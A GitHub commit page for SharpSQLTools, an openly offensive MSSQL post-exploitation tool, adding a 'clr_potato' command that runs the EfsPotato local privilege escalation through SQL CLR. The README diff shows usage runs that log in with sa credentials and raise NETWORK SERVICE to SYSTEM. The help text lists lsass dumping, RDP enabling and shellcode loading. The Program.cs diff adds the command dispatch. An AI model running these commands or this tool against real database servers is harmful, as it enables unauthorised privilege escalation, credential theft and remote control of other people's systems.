Skip to content

Commit e4b2821

Browse files
committed
添加clr_potato
添加clr_potato 致谢zcgonvh@EfsPotato & hl0rey
1 parent 913db95 commit e4b2821

3 files changed

Lines changed: 70 additions & 2 deletions

File tree

README.md

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,10 @@
66

77
### 更新日志
88

9+
- 2021-08-03
10+
- 添加clr_potato
11+
致谢[zcgonvh@EfsPotato](https://github.com/zcgonvh/EfsPotato) & [hl0rey](https://github.com/hl0rey)
12+
913
- 2021-07-10
1014
- 修复上传bug
1115
- 修复clr回显bug
@@ -57,6 +61,7 @@ disable_clr - you know what it means
5761
install_clr - create assembly and procedure
5862
uninstall_clr - drop clr
5963
clr_exec {cmd} - for example: clr_exec whoami;clr_exec -p c:\a.exe;clr_exec -p c:\cmd.exe -a /c whoami
64+
clr_potato {cmd} - exec by EfsPotato like clr_exec
6065
clr_combine {remotefile} - When the upload module cannot call CMD to perform copy to merge files
6166
clr_dumplsass {path} - dumplsass by clr
6267
clr_rdp - check RDP port and Enable RDP
@@ -131,6 +136,52 @@ nt service\mssql$sqlexpress
131136
132137
```
133138

139+
#### clr_potato
140+
141+
```
142+
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_potato whoami
143+
[*] Database connection is successful!
144+
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
145+
Part of GMH's fuck Tools, Code By zcgonvh.
146+
147+
[+] Current user: NT AUTHORITY\NETWORK SERVICE
148+
[+] Get Token: 3352
149+
[+] Command : c:\Windows\System32\cmd.exe /c whoami
150+
[!] process with pid: 2012 created.
151+
==============================
152+
153+
154+
nt authority\system
155+
156+
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_potato -p c:\windows/system32\whoami.exe
157+
[*] Database connection is successful!
158+
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
159+
Part of GMH's fuck Tools, Code By zcgonvh.
160+
161+
[+] Current user: NT AUTHORITY\NETWORK SERVICE
162+
[+] Get Token: 3084
163+
[+] Command : c:\windows/system32\whoami.exe
164+
[!] process with pid: 164 created.
165+
==============================
166+
167+
168+
nt authority\system
169+
170+
λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_potato -p c:\cmd.exe -a /c whoami
171+
[*] Database connection is successful!
172+
Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).
173+
Part of GMH's fuck Tools, Code By zcgonvh.
174+
175+
[+] Current user: NT AUTHORITY\NETWORK SERVICE
176+
[+] Get Token: 3124
177+
[+] Command : c:\cmd.exe /c whoami
178+
[!] process with pid: 2080 created.
179+
==============================
180+
181+
182+
nt authority\system
183+
```
184+
134185
#### clr_scloader
135186
```
136187
λ python Encrypt.py -f nc.bin -k 1234
@@ -289,3 +340,5 @@ https://github.com/An0nySec/ShadowUser/blob/main/ShadowUser/Program.cs#L235
289340
https://github.com/GhostPack/SharpDump
290341

291342
https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0
343+
344+
https://github.com/zcgonvh/EfsPotato

SharpSQLTools/Program.cs

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,7 @@ private static void Help()
3131
install_clr - create assembly and procedure
3232
uninstall_clr - drop clr
3333
clr_exec {cmd} - for example: clr_exec whoami;clr_exec -p c:\a.exe;clr_exec -p c:\cmd.exe -a /c whoami
34+
clr_potato {cmd} - exec by EfsPotato like clr_exec
3435
clr_combine {remotefile} - When the upload module cannot call CMD to perform copy to merge files
3536
clr_dumplsass {path} - dumplsass by clr
3637
clr_rdp - check RDP port and Enable RDP
@@ -51,7 +52,7 @@ _____ _ _____ ____ _ _______ _
5152
| (___ | |__ __ _ _ __ _ __| (___ | | | | | | | ___ ___ | |___
5253
\___ \| '_ \ / _` | '__| '_ \\___ \| | | | | | |/ _ \ / _ \| / __|
5354
____) | | | | (_| | | | |_) |___) | |__| | |____| | (_) | (_) | \__ \
54-
|_____/|_| |_|\__,_|_| | .__/_____/ \___\_\______|_|\___/ \___/|_|___/ v2.0
55+
|_____/|_| |_|\__,_|_| | .__/_____/ \___\_\______|_|\___/ \___/|_|___/
5556
| |
5657
|_|
5758
by Rcoil & Uknow
@@ -397,6 +398,13 @@ static void interactive(string[] args)
397398
clr_exec(s);
398399
break;
399400
}
401+
case "clr_potato":
402+
{
403+
String s = String.Empty;
404+
for (int i = 0; i < cmdline.Length; i++) { s += cmdline[i] + " "; }
405+
clr_exec(s);
406+
break;
407+
}
400408
case "clr_scloader":
401409
{
402410
String s = String.Empty;
@@ -581,6 +589,13 @@ static void Noninteractive(string[] args)
581589
clr_exec(s);
582590
break;
583591
}
592+
case "clr_potato":
593+
{
594+
String s = String.Empty;
595+
for (int i = 4; i < args.Length; i++) { s += args[i] + " "; }
596+
clr_exec(s);
597+
break;
598+
}
584599
case "clr_scloader":
585600
{
586601
String s = String.Empty;

SharpSQLTools/Setting.cs

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)